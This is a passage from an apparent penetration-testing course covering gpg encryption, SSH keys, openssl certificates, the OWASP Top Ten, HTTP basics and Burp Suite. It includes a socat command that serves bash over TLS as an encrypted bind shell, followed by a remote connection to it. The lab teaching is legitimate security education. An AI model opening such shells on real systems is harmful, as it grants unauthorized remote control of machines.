operates on plaintext by converting it to ciphertext one "block" at a
time, where a block is some number of bytes greater than one.
For example, a 16-bit block cipher would take in the plaintext "Try
Harder" and operate first on the string "Try ", then on "Hard", and
finally on "er".
Note that in practice, block ciphers that are smaller than 64-bits are
considered weak.
Blowfish is a 64-bit block cipher, so the algorithm operates on eight
bytes of plaintext at a time. By contrast, the Caesar and XOR ciphers
are considered stream ciphers because they operate on plaintext
only one byte at a time (i.e, each letter of the plaintext is modified
independently).
We can start playing around with Blowfish and other encryption
ciphers by using the gpg command-line tool, which is already
installed on Kali Linux.
GNU Privacy Guard (GPG)[607] is a free and open-source rendition of
Pretty Good Privacy (PGP), which is a cryptographic product usually
used for email encryption.
We'll begin by creating a file we wish to encrypt. Then, we'll
use gpg with the -c flag to select symmetric-key
encryption, and the --cipher-algo- flag to pick our cipher.
kali@kali:~$ echo "Let's try some symmetric-key encryption." > blowfish.plain
kali@kali:~$ gpg -c --cipher-algo blowfish blowfish.plain
kali@kali:~$
Listing 23 - Encrypting a file with Blowfish
Upon entering the command, we'll be prompted to enter a passphrase to
encrypt the file with. We'll use the passphrase "onefishtwofish". GPG
will warn us that the chosen passphrase is weak, but we'll go ahead
and use it anyway.
Once we have encrypted the cleartext file, we'll notice a new document
inside our working directory, blowfish.plain.gpg. If we wanted
to, we could have specified the name of the encrypted file with the
--output flag. We'll also note that the encrypted file is about
three times as large as the original and that its file type has
changed from regular ASCII text to encrypted data.
kali@kali:~$ ls -l blowfish*
-rw-r--r-- 1 kali kali 40 Apr 19 13:34 blowfish.plain
-rw-r--r-- 1 kali kali 116 Apr 19 13:38 blowfish.plain.gpg
kali@kali:~$ file blowfish.plain.gpg
blowfish.plain.gpg: GPG symmetrically encrypted data (BLOWFISH cipher)
kali@kali:~$ cat blowfish.plain.gpg
�W��'xBR��c:{rv��������3�7|"�@������O-]�!��NN�j���
��;L�Pud�Q׆!�}g�bi�B?���g�9���/E��r���5����ٺ
Listing 24 - Checking the results of the Blowfish encryption
To decrypt the file, we simply need to run gpg --decrypt
blowfish.plain.gpg. Decrypting with gpg sends
results to standard output, unless a file is designated with the
--output flag. Once again, we'll type in the passphrase when
prompted.
kali@kali:~$ gpg --decrypt blowfish.plain.gpg
gpg: BLOWFISH.CFB encrypted data
gpg: encrypted with 1 passphrase
Let's try some symmetric-key encryption.
Listing 25 - Decrypting the Blowfish ciphertext
Note that the gpg tool is capable of performing functions other
than symmetric-key encryption, like hashing, compression, and
asymmetric-key encryption as well.
The Advanced Encryption Standard (AES) is a family of symmetric-key
block ciphers. Where Blowfish uses a block size of 64 bits, AES uses
a 128-bit block size. This means that 16 bytes of data are operated on
by the algorithm at a time. Another difference between Blowfish and
AES is that the former employs a variable key size (between 32 and
448 bits), while the latter has three defined fixed variants (128-bit,
192-bit, and 256-bit). Blowfish uses the Feistel
network[608] where AES uses the Substitution–permutation
network.[609]
The mechanics of using GPG to encrypt and decrypt files with AES
are identical to how we did so with Blowfish. The command gpg
-c --cipher-algo aes256 <filename> will allow us to encrypt
a file. Let's use the same input and passphrase, and observe any
differences in the ciphertext.
kali@kali:~$ cp blowfish.plain aes256.plain
kali@kali:~$ gpg -c --cipher-algo aes256 aes256.plain
kali@kali:~$ ls -l aes256*
-rw-r--r-- 1 kali kali 40 Apr 19 16:23 aes256.plain
-rw-r--r-- 1 kali kali 122 Apr 19 16:24 aes256.plain.gpg
kali@kali:~$ file aes256.plain.gpg
aes256.plain.gpg: GPG symmetrically encrypted data (AES256 cipher)
kali@kali:~$ cat aes256.plain.gpg
� �����ߕ��i/3}� �0sK�M2�9��TC
�ZKh7�?�EC�����w��j(��uy����e�:��m�����|�▒�7^�-�3"���O�V�/�����ϑ�)m؍$z��9
Listing 26 - Encrypting some plaintext with AES256
We'll note that the output file is slightly larger than its Blowfish
equivalent, despite using the same plaintext and passphrase.
We can also decrypt the file in the same manner as before.
kali@kali:~$ gpg --decrypt aes256.plain.gpg
gpg: AES256.CFB encrypted data
gpg: encrypted with 1 passphrase
Let's try some symmetric-key encryption.
Listing 27 - Decrypting the AES256 ciphertext
This Learning Unit covers the following Learning Objectives:
Recall that one of the primary problems with symmetric-key encryption
is that a single key must be kept secret, yet paradoxically it
must also be shared among communication partners. This means that
symmetric-key encryption is only as secure as the channel used to
share the key. Asymmetric or public-key encryption[610]
solves this issue by employing two different, but mathematically
related keys for encryption and decryption respectively.
Let's imagine that Alice wants to send an encrypted message to Bob.
Before Alice sends the message, Bob will generate an asymmetric
key-pair. This key-pair consists of two keys: a public key, which
Bob can distribute freely and widely, and a private key, which Bob
will keep entirely confidential.
Bob sends his public key to Alice. He does not need to worry about
the security of the communication channel, because secrecy is not a
requirement for public keys.
Once Alice has Bob's public key, she is ready to encrypt her
message, and she'll do so using Bob's public key. The technical steps
required to encrypt the message are similar to those we followed with
symmetric-key encryption, as we'll cover shortly.
Alice sends the message to Bob, and Bob can now use his private key
to decrypt it. By following this protocol, Alice and Bob can enjoy
complete confidentiality because the only secret that needs to be
transmitted is the message itself.
We can use the gpg --gen-key command to generate a key-pair
with Kali Linux.
kali@kali:~$ gpg --gen-key
gpg (GnuPG) 2.2.27; Copyright (C) 2021 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Note: Use "gpg --full-generate-key" for a full featured key generation dialog.
GnuPG needs to construct a user ID to identify your key.
Real name: Offsec
Email address: test@example.com
You selected this USER-ID:
"Offsec <test@example.com>"
Change (N)ame, (E)mail, or (O)kay/(Q)uit? o
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: /home/kali/.gnupg/trustdb.gpg: trustdb created
gpg: key 4935190D131B0ED9 marked as ultimately trusted
gpg: directory '/home/kali/.gnupg/openpgp-revocs.d' created
gpg: revocation certificate stored as '/home/kali/.gnupg/openpgp-revocs.d/E0640A6E680FA6590DD0F03D4935190D131B0ED9.rev'
public and secret key created and signed.
pub rsa3072 2021-04-20 [SC] [expires: 2023-04-20]
E0640A6E680FA6590DD0F03D4935190D131B0ED9
uid Offsec <test@example.com>
sub rsa3072 2021-04-20 [E] [expires: 2023-04-20]
Listing 28 - Creating an asymmetric key-pair
Next, we'll export the key to create a file that can be shared
with potential recipients. The format used to export a key is
as follows: gpg --output <output-file> --armor --export
<name-or-email-address>
The --armor flag ensures that the output will be in ASCII
text, rather than the default binary output.
kali@kali:~$ gpg --output example-pub.asc --armor --export Offsec
kali@kali:~$ cat example-pub.asc
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQGNBGB+1GABDACwBj35jXh1OB8xvx7P+L4W9HRmns0TMKvOi8+fYpz9SbOS2aQo
...
mRRN3arAPcuWx7pw+rToyArDvXXIrwtXGSNfS8FZsHT4HPLzEkcAlMx30j6b59TX
EqRxg0u8zhMYYESiUV7nJOw=
=6PEF
-----END PGP PUBLIC KEY BLOCK-----
Listing 28 - Exporting the public key
We're now ready to encrypt a message with our public key.
We would normally use someone else's public key to encrypt our
message, as they would need to decrypt it with their own private key.
Since we're both the sender and the receiver in this simple proof of
concept, we'll just use our own for the moment. We need to create
a file to encrypt, and then specify a recipient (in this case,
ourselves).
kali@kali:~$ echo "Asymmetric encryption example" > asymmetry.txt
kali@kali:~$ gpg --recipient Offsec --encrypt asymmetry.txt
gpg: checking the trustdb
gpg: marginals needed: 3 completes needed: 1 trust model: pgp
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
gpg: next trustdb check due at 2023-04-20
kali@kali:~$ ls -l asymmetry*
-rw-r--r-- 1 kali kali 30 Apr 20 09:42 asymmetry.txt
-rw-r--r-- 1 kali kali 498 Apr 20 09:43 asymmetry.txt.gpg
kali@kali:~$ file asymmetry.txt.gpg
asymmetry.txt.gpg: PGP RSA encrypted session key - keyid: 84C9AC07 E5046E4E RSA (Encrypt or Sign) 3072b .
kali@kali:~$ cat asymmetry.txt.gpg
���ɬ�nN
�RH���-yF%����0C
l��%�}�<�ͺٱ��I��bwx���IU�����t�7F����<�u
]���;�!ѥ�f�1��3pl#g|��Lok6>�#��h���S�v��;�AS�C�+9�����r▒]"x��V#��V�F%�PV����/G�4O�W�����]_�$C�t�3�Q!▒����Z�L�w�o��iˤy-љ�>^
����ng:m�鼹_j�FO
������[ �u�����C/��s������,
ߑ<G3'�������Jԯ�dNt�jh,װ�$���N�f=ޖT�h��W���#�ߛ��9�|:���~`�c]E�kgm�}m��Y�3
�8q�q��G�����*�a��0.�qF�XH���[j��H��P��s� B��{�DY�'A��
{�Қ�����ڣb�G*$R�>XSW (�0ۀ�DcѸ_� ��,�ˈ����
Listing 29 - Encrypting a message with a public key
Here we observe that the encrypted file is significantly larger than
the input plaintext, especially relative to our previous experiments
with symmetric-key encryption.
Finally, since we are sending this message to ourselves, we can
decrypt the file using our private key. Again, normally it would be
the recipient that would decrypt the file using their own private key,
and we would have used their public key to encrypt the file.
kali@kali:~$ gpg --decrypt asymmetry.txt.gpg
gpg: encrypted with 3072-bit RSA key, ID 84C9AC07E5046E4E, created 2021-04-20
"Offsec <test@example.com>"
Asymmetric encryption example
Listing 30 - Decrypting a message with a private key
Note that we'll need to enter the passphrase we created earlier during
key-pair generation, when prompted.
It can sometimes be tricky to recall who has to use which keys
to encrypt and decrypt messages with asymmetric encryption. We can
use the following mnemonics to help us remember: SUPER - Sender Uses
Public Encryption-key of Receiver.
In addition to encrypting and decrypting secret messages, asymmetric
key-pairs can also be used to sign and verify messages. Just like
a physical signature, a signed message allows the recipient to check
that the sender is actually who they claim to be.
The protocol for signing a message can be considered the mirror of
that used for encrypting one. Rather than using Bob's public key to
encrypt her message and having Bob use his own private key to decrypt
it, Alice will instead sign the message with her own private key, and
then Bob will verify it with her public key.
Note that signing a message with a private key is not equivalent
to actually sending the recipient said key. In other words, message
signing does not threaten the confidentiality of the sender's private
key.
Now that we've briefly covered the basics of asymmetric encryption,
let's try a few hands-on exercises. Download the files below to complete
these asymmetric cryptography challenges.
Now that we know how to generate and use key-pairs, we can start to
understand how asymmetric cryptography works. Earlier we touched on
the fact that the public and private keys of an asymmetric key-pair
are mathematically related. There are several methods for implementing
the relationship between keys in a key-pair, but each of them hinge
on a fundamental mathematical concept: the procedure that generates
the key-pairs must be easy to compute given some input, but it must be
difficult to reverse given some output.
We've already seen a one-way function like this earlier for hashing.
It's easy to apply a hashing algorithm to some text, but it's
difficult to get the input text back from a hash.
One of the most ubiquitous one-way functions used for asymmetric
encryption is the factorization of prime numbers. Recall that every
natural greater than 1 is either prime (that is, it can only be
divided by 1 or by itself), or it must be made up of some product of
unique prime numbers. For example, the product of the prime numbers
89 and 239 is 21271. The only way to get 21271 out of prime numbers
is via these two inputs. This concept is known as the fundamental
theorem of arithmetic.
Prime factorization is a powerful basis for asymmetric cryptography
because it is computationally easy to multiply two primes together
to generate a product but it is computationally hard to start with
a product, and obtain its prime factors as output. In other words,
a computer can multiply two large prime numbers together almost as
quickly as it can multiply two small numbers. But if we ask it to
factor in a very large product, it will not be able to do so as
efficiently or quickly.
Let's examine how we can do asymmetric encryption with prime numbers.
First, we select two prime numbers (designated by p and q) and
then multiply them together to form the product n. Using n as
a base, we can perform some additional math to output two special
numbers e and d, such that they have particular properties
relative to n. We can then define a public key as the tuple
(n,e), and a private key as the tuple (n,d). The details of
how to calculate e and d are beyond the scope of this Learning
Unit, but we have included resources for you to explore further.
Understanding the basics of asymmetric cryptography is certainly
interesting, but unfortunately it does not apply practically to most
day-to-day security tasks, neither on the defensive nor the offensive
sides.
Let's now turn our attention to a more practical area, asymmetric
authentication with SSH. We'll learn how to generate an SSH key-pair,
how to configure an SSH server to use a key-pair for authentication,
and finally how to log in to a remote server by supplying a public key
as input to the server.
We can generate an SSH key-pair on Kali with ssh-keygen.
We'll need to specify the name of the desired output file, as well as
an optional passphrase.
kali@kali:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key: /home/kali/.ssh/kali_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/kali_rsa
Your public key has been saved in /home/kali/.ssh/kali_rsa.pub
The key fingerprint is:
SHA256:fhLZNenKE6VD1CPm92uhyhVqHwXbG05Rpuvx0sPNbKU kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| .. o|
| .o o. + |
| o..*.o |
| +.=.= o |
| S =.+.B .|
| . o = *+Xo|
| o B o.E=B|
| = +..oo.|
| o... |
+----[SHA256]-----+
Listing 31 - Generating an SSH key-pair
Now that we have generated a key-pair, we need to put the public key
on a remote server. Remember, we never want to share the private key.
We will be using the web-based Kali VM as both the local and remote
server.
To send our public key to the remote SSH server, we can use the
ssh-copy-id utility. We'll be prompted to enter the password
for the kali user.
kali@kali:~$ ssh-copy-id -i /home/kali/.ssh/id_rsa.pub kali@localhost
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/kali/.ssh/id_rsa.pub"
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
kali@localhost's password:
Number of key(s) added: 1
Now try logging into the machine, with: "ssh 'kali@localhost'"
and check to make sure that only the key(s) you wanted were added.
Listing 32 - Copying an SSH key-pair
Finally, we can logon to the remote server by invoking the -i
flag.
kali@kali:~$ ssh -i .ssh/id_rsa kali@localhost
Linux kali 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 20 17:23:04 2021 from ::1
kali@kali:~$ cd .ssh
kali@kali:~/.ssh$ ls -l
total 16
-rw------- 1 kali kali 563 Apr 20 17:32 authorized_keys
-rw------- 1 kali kali 2590 Apr 20 17:23 id_rsa
-rw-r--r-- 1 kali kali 563 Apr 20 17:23 id_rsa.pub
-rw-r--r-- 1 kali kali 222 Apr 20 17:23 known_hosts
kali@kali:~/.ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfkT0yyXl+gTncAajec+LsS2qq3o2iIBCJHJTLxOVBrBAZh8kL5sYWLXA34iRsp8YdaUIb16h6KRJwiZyhvV5Yg//OhEMK+Rkim7LKZ1Mm09Ubueniw3BlqWbEmuRx4K40pAvZkFMpOSZ9xJGFTc72NhfVYj7KOta5KjQmV85O0KCzBCsZ3qleJWmerTU2EAGJsvKIRngrO3zVOVOkqSmtlfezmrknsG0Kb0hf3cxWxNIN4lUCLEuUbz0Xh/qUrFv6gbAqWbSj6wgsARoRLtR6k88wVGJp/ZhYDI8OpSru3nrmjjZVIqonXPXXQXlB1rdJoihzaEGVgLNRD71WnOR+cIGSM4Hb29P81nZTZ/I3YUWpxf+S+om1jGKVqWWa/bIZ8juVeq03I8BAFUu8eQgtuUk8e9WOpQ//e2oA22+a7eTMBsimXkqSGTDeJMpAnAjok9NINOlCgbA4lDUSOvTjuUzkogDDwTYcn/nj4Z3BjpmLaBpoQV5kgd2GjxrqYC8= kali@kali
Listing 33 - Logging on to an SSH server with key
We notice that there is a newly created file called
authorized_keys in the .ssh directory, and that
it contains our public key. In fact, we could have simply copied
over the id_rsa.pub file to authorized_keys since
we're only using a single host. If we wanted to copy it remotely and
ssh-copy-id was not installed, we could use something like
scp, or simply have SSHed with a regular password to copy it
manually.
Encrypted communication via many protocols relies on something called
a Secure Sockets Layer (SSL). The most common use case for SSL is
applied to web traffic, and we'll explore this application in greater
detail below.
First, we'll learn how to use the openssl command to create a
certificate and private key, and then how to feed those files to
socat to create encrypted bind shells.
The command we'll use to generate the necessary files is rather long,
so we'll include it here and then examine each part piece by piece.
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 30 -out bind_shell.crt
Listing 34 - Command to create an SSL certificate and key
Let's review each piece in order.
req tells openssl that we want to create a new certificate.
-newkey tells openssl that we want to generate a new private key as well.
rsa:2048 defines the encryption algorithm we want to use. This is
similar to the --cipher-algo flag used by gpg. In this case, we're
using the RSA algorithm with a 2048-bit key length.
-nodes says to create the private key without a passphrase to
protect it. This is similar to creating an SSH key without passphrase
protection.
-key lets us save the generated private key to an output file in
Base64 format.
-x509 ensures that our certificate is self-signed. The alternative
is to use an existing certificate authority.
-days specifies the number of days we want the certificate to be
valid for. In our case, we'll choose to give our certificate 30 days
of validity.
-out saves the certificate to file, also in Base64 format.
Now that we have an idea of what this command does, let's invoke it on
our Kali VM and review the results.
kali@kali:~$ openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 30 -out bind_shell.crt
Generating a RSA private key
...............................................................................+++++
...+++++
writing new private key to 'bind_shell.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:NY
Locality Name (eg, city) []:NY
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Offsec
Organizational Unit Name (eg, section) []:Security
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
kali@kali:~$ head bind*
==> bind_shell.crt <==
-----BEGIN CERTIFICATE-----
MIIDdz
...
==> bind_shell.key <==
-----BEGIN PRIVATE KEY-----
MIIEvA
...
kali@kali:~$
Listing 35 - Generating a new openssl certificate and key
After executing the command, we note two additional files in our
working directory: bindshell.crt contains our certificate,
and bind_shell.key contains the new private key. In order
for socat to use these files, we actually need to combine them into
a single _Privacy Enhanced Mail (PEM) file. A .pem is
simply a list of Base64 encoded strings, usually containing multiple
certificates, keys, and other cryptographic items. Entities in a
.pem are separated by lines such as "-----BEGIN/END PRIVATE
KEY-----". Despite its original acronym, PEM files need not be used
for encrypted e-mail. In our case, we'll simply concatanate the
.key and .crt files together:
kali@kali:~$ cat bind_shell.key bind_shell.crt > bind_shell.pem
Listing 36 - Concatonating the key and cert into a .pem
We're now ready to create our encrypted bind shell with socat. Once
again, the command is on the lengthy side so we'll break it down step
by step.
kali@kali:~$ sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
Listing 37 - Creating an encrypted bind shell
Let's review each part.
sudo is required because we are opening a port on a well-known
port. (Recall that well-known ports are those between 0 and 1023).
OPENSSL-LISTEN:443 specifies the port on which we want our service
to listen for connections.
cert=bind_shell.pem indicates the name of our combined key and
certificate file.
verify=0 tells socat to not to check the client's certificate.
fork will spawn a child process once a connection is made to the
listener. This is helpful because if the connection is disrupted or
killed, the original service can often survive and remain intact.
EXEC:/bin/bash tells socat to have our service run bash.
Now that our shell is listening, we can connect to it via another
machine. For demonstration purposes, we'll use a Windows host, though
a Linux client would work just as well.
C:\Users\offsec> socat - OPENSSL:192.168.22.31:443,verify=0
id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
whoami
kali
Listing 38 - Connecting to an encrypted bind shell
The best known SSL is HTTPS, which is a cryptographically enhanced
version of the HTTP protocol. When we visit an SSL enabled website
with a browser, the web server provides a certificate that contains a
public key.
SSL encryption procedures leverage both asymmetric and symmetric
encryption. First, the server and client agree on a symmetric session
key, which is encrypted by the client with the server's public key.
This session key is then transmitted over the network to the server.
Next, the server uses its private key to decrypt the session key.
Notice how this maneuver allows the client and server to bypass
the inherent weakness of symmetric encryption by using asymmetric
encryption to transmit the symmetric key. After the initial key
exchange, both parties can use the same session key to encrypt and
decrypt all future data transferred to each other.
If the initial private key used to decrypt the session key ever
becomes compromised, then it would be possible to decrypt the session
key, and therefore all of the data that has been encrypted with it.
To overcome to this problem and several other major deficiencies,
a new standard called Transport Layer Security (TLS)[611] was
introduced. Over time, TLS versions started to introduce more and
more cipher suites that supported forward secrecy.[612]
Forward secrecy is a feature that aims to protect against session key
compromise. In short, this feature assures that past communication
cannot be decrypted if the private key gets compromised.
The latest version (1.3) of TLS contains only cipher suites that
support forward secrecy. For this reason, browser developers
tend to deprecate SSL and older version of TLS, but they are still
forced to keep some weak cipher suites for compatibility reasons.
TLS helps ensure that most web-based encrypted communication cannot be
be easily decrypted using just the server's private key, because only
a portion of the session key actually gets transmitted through the
network. In addition, the session key is periodically renewed between
client and sever. Because of this, all of the session keys would be
needed to decrypt traffic in the event of a private-key compromise.
Traffic analyzer applications like Wireshark allow us to load a set
of session keys and will automatically use those keys for decryption.
A (Pre)-Master-Secret key log file can be loaded on the TLS settings
window by navigating to Edit > Preferences > TLS in the
protocols tree.
As a reminder, we can load a saved packet capture to Wireshark either by entering
Ctrl+O, or via the menu under File > Open.
This Learning Unit has the following Learning Objectives:
This is a cumulative exercise that requires you to employ the
understanding and skills you have gained in the Cryptography
Module to complete a set of objectives.
Scenario: You have gained initial access to a target Linux machine
during a penetration test. Use this remote SSH access to learn more
about the user and, ultimately, recover additional credentials to help
you gain deeper access to this network or machine.
In this Topic, we will cover the following Learning Units:
Each learner moves at their own pace, but this Topic should take
approximately 11 hours to complete.
The reason an information security professional may want to pay close
attention to web applications is because they may represent a type
of access to an internal network. If we can find a flaw in the web
application, we may be able to leverage its access and make it our
own.
Aside from Social Engineering,[613] the web remains one of the truly
widespread attack vectors, simply because most organizations must have
some sort of public web presence. Even if a business is extremely well
protected and exposes no other services to the Internet, it's very
likely that they have a web site - often several.
For this reason, it's important to understand how web applications
and web servers work. On the defensive side, protecting web services
are one of the most important functions for guarding an organization
against external attackers. On the offensive side, learning to attack
basic web applications is among the most important skill sets for an
entry-level penetration tester.
As a bit of an aside, reviewing the statistics[188-1] page on the
Exploit Database shows how prolific web exploits are, especially
compared to other exploit types.
In this Topic, we will learn the protocols, languages, and structures
that make the web work. Note that modern web development can be quite
complicated, so we'll begin with the fundamentals and attempt to get a
broad overview of some of the most common web technologies.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 30 minutes to complete.
This Topic is about how the web works and not necessarily
about attacking or defending it. However, we believe it can be helpful
to get a high-level understanding of some of the most common web
vulnerabilities. We begin with a brief survey of these vulnerabilities
so that we can keep them in mind as we progress. Note that it is not
expected that we are able to perform or defend against these attacks
at this point - we simply want to make sure to understand and recall
them.
The framework we'll be using to introduce ourselves to web
vulnerabilities is the OWASP Top Ten.[614] The Open Web
Application Security Project (OWASP)[615] is a non-profit
foundation that works on web security. Among other activities, they
publish papers, develop and contribute to open-source projects, and
organize, host, and promote security conferences.
OWASP is perhaps most well known for maintaining a list of the top
ten most critical vulnerabilities afflicting the web. We'll briefly
describe each of the ten vulnerabilities in the list so that we can
get a broad overview of some of the considerations required for web
security and development professionals.
Access Control refers to the restrictions of abilities
and functionalities a user is vested at a particular level of
authentication. Once a user is logged-in to a website, additional
security controls must be put in place to prevent them from executing
unintended actions. If these security functions are not adequate,
a user may obtain unintended access or controls to the underlying
machine, user accounts, and system files.
Modern web applications handle and store huge amounts of data. It's
common for the cryptographic protections around sensitive data to
be inadequate. For example, data can be stored or transferred in
plaintext, the cryptographic algorithms used to protect data can be
weak, or the implementation of the algorithms can be faulty. These
failings can lead to the theft of financial, health, social, and
personal information. See the Cryptography Topic for more information.
Web applications tend to allow a user to submit data, whether
that's via a form to log in, a search feature, or any number of
interactive components. Sometimes, a user may be able to carefully
craft their input so that the application interprets the text as some
kind of code. When a user is able to input and execute code in this
manner, it is called an injection attack. Injection attacks can lead
to data theft, web-site defacement, and even full remote control
over the target server.
Cross-Site Scripting (XSS) is a particular form of injection where
the code that gets inputted by an attacker is executed within the
browser of another user. By contrast, most other injection attacks
execute code on the machine running the application rather than the
client. With XSS, an attacker can take any action that the victim's
browser can take. This includes hijacking the user's session, logging
all keystrokes, redirecting them to a location of their choice, and
much more. In addition, XSS flaws can allow a malicious attacker to
broaden their attack surface, as it exposes them to other users of the
application. Up until 2021, XSS was considered its own OWASP category,
however it is now included under the umbrella of Injection Attacks.
Insecure design refers to issues that occur because the design
of the application is fundamentally flawed. For example, if the
application should check for password-length when a user signs up but
fails to do so, that application can be said to have insecure design
flaws. OWASP emphasizes that secure design relies heavily on a
cultural and mindset shift towards putting security front and center
in the software development life-cycle(SDLC)[616].
This is a somewhat broad category that refers to any security
settings or configurations that are poorly managed. For example,
developers will sometimes forget to change default credentials or
leave unnecessary services running. Attention must be paid to every
component that makes up a web server stack, including the underlying
operating system, databases, and external services. In addition, even
if all these components are set up securely, they must be regularly
monitored and patched for any discovered issues.
Web applications often enlist the aid of external services, like
software libraries and frameworks. If one of the components used by
a web app is vulnerable, an attack against such a component can lead
to data compromise or even code execution.
Many web applications have identification and authentication
features, which always represent an important attack surface. If
these mechanisms are designed incorrectly, they could allow attackers
to brute force accounts, authenticate with weak credentials, and
impersonate users by stealing session information.
This category refers to code and infrastructure issues related to
deployments, code storage, data storage, insecure repositories, or
delivery systems. If the way that infrastructure is stored or deployed
is compromised, attackers may be able to gain unauthorized access to
or control over critical components.
Proper web application design requires disciplined logging of user
activity and patterns. If proper logging and incident response
mechanisms are not put into place, it can take an organization a long
period of time to detect an intrusion.
Server-Side Request Forgery (SSRF) happens when a web application
tries to reach a remote server without validating the URL of the
remote server. If an attacker can control the contents of the URL,
this can allow them to force the application to make a request to a
resource it shouldn't be able to reach, including an attacker's own
server.
Let's review what we've learned so far with some exercises.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 30 minutes to complete.
In this Learning Unit, we will start to learn a bit about how web
applications work with Hypertext Transfer Protocol (HTTP). HTTP is
one of the most important building blocks of common web applications.
The majority of vulnerabilities discovered in web applications start
by reviewing HTTP requests.
When we visit a page in a web browser, the browser sends an HTTP
request to the application server. The server will send an HTTP
response that contains the page's HTML, which describes the content
of the webpage. We'll learn more about HTML later on. The browser
will then render the content from the HTML, request any additional
resources specified in the HTML (such as images, JavaScript files, or
CSS files), and display the final result to the user.
Here is an example of a GET request, one of the most basic ways a
client (like a web browser) can ask for information from a web server.
We'll examine what each of these different terms mean a bit later, but
for now it's important just to get familiar with the overall layout of
a request.
GET /users?language=english HTTP/1.1
Host: www.example.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Listing 1 - Example HTTP GET Request
And here is the response that a server would send back to the client:
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 25 Aug 2020 17:47:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2739
<!DOCTYPE html>
<html>
<body>
<h1>List of Users</h1>
<ul>
<li>Chellia</li>
<li>Ripes</li>
</ul>
</body>
</html>
Listing 2 - Example HTTP Response
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 30 minutes to complete.
An HTTP proxy is an application that sits between a client and server.
Commonly, an HTTP proxy is used in corporate or school environments
to inspect and block certain types of traffic (like social networking,
personal email, etc.). However, proxies can also help us with security
testing by allowing us to "pause" a request before it is sent to
the server. This pause allows us to view and modify any component
of the HTTP request. Most commonly, Burp Suite is used as a proxy
for security testing. Burp Suite also allows us to repeat specific
requests without needing to reload the page.
Burp Suite is already pre-installed on Kali and can be started by
using the menu and searching for "burp". Once found, we can start it
by clicking on the icon.
On first start up, we will receive a warning about the JRE version
being incompatible. We can ignore this warning (and prevent it from
showing up again by checking "Don't show again for this JRE") by
clicking on the OK button.
Next, Burp Suite will ask us to select a project. The free, community
edition of Burp only allows for temporary projects. We can move on to
the next page by clicking Next.
After the project page, Burp Suite will ask us how to load the
configuration. The default configuration is fine and, we can select
Start Burp.
Depending on the version of Burp we are running, we may need to make
one more change before we can start using the proxy in Burp Suite.
We'll click on the Project Options tab, then the Misc tab, scroll
to the bottom, and check the Allow the embedded browser to run
without a sandbox setting. This setting will allow us to use the
built-in browser within Burp Suite. If this is not set, the embedded
browser may throw an error on start up.
Finally, we will click on the Proxy tab. There are four additional
tabs under the Proxy tab.
The Proxy tab has two main tabs that we will concentrate on: the
Intercept tab and the HTTP history tab. The Intercept tab will
show the current HTTP interception while the HTTP history will show
all the HTTP requests and responses that have been proxied by Burp
Suite.
When Burp Suite is first started, we will notice that the Intercept
is on button is clicked. This means that we will have to review
every request before it is set to the server. Let's test this out
by clicking Open browser.
As soon as we click Open Browser, a new Chromium (an open-source
version of the Google Chrome browser) window will be opened and Burp
Suite will show the interception of an HTTP request.
We can pass this request on to the server by clicking Forward (or
drop this HTTP request by clicking Drop). It is also very common for
multiple requests to stack up. If this is the case and we don't need
to review any of the requests, we can pass all requests by toggling
the Intercept is on button. This will turn off the interception and
allow all requests in the queue to be sent to the server.
Let's intercept the requests to
https://twitter.com/offsectraining. To do this, we will type
the URL into the Chromium URL bar, turn on intercept in Burp Suite,
go back to Chromium, and press I. This will start the load in
Chromium and show the intercepted request in Burp Suite.
Recall briefly our introductory description of requests. We're about
to observe them in action.
In this request, we find that Chromium is sending a GET request to
the /offsectraining path using HTTP/1.1. The Host header
specifies that the request is for "twitter.com", the User-Agent
header specifies to the server what version of browser we are using,
and the Accept header states the content type that the client (i.e.
the Chromium browser) would accept. Let's forward the request and
investigate what loads.
At this point, Twitter should have started to load but not all the
images and resources will have been captured. This is because a web
application very rarely contains every image and resource in the
initial response. To load the full page, we can continue clicking
Forward or turn off intercept by clicking Intercept is on.
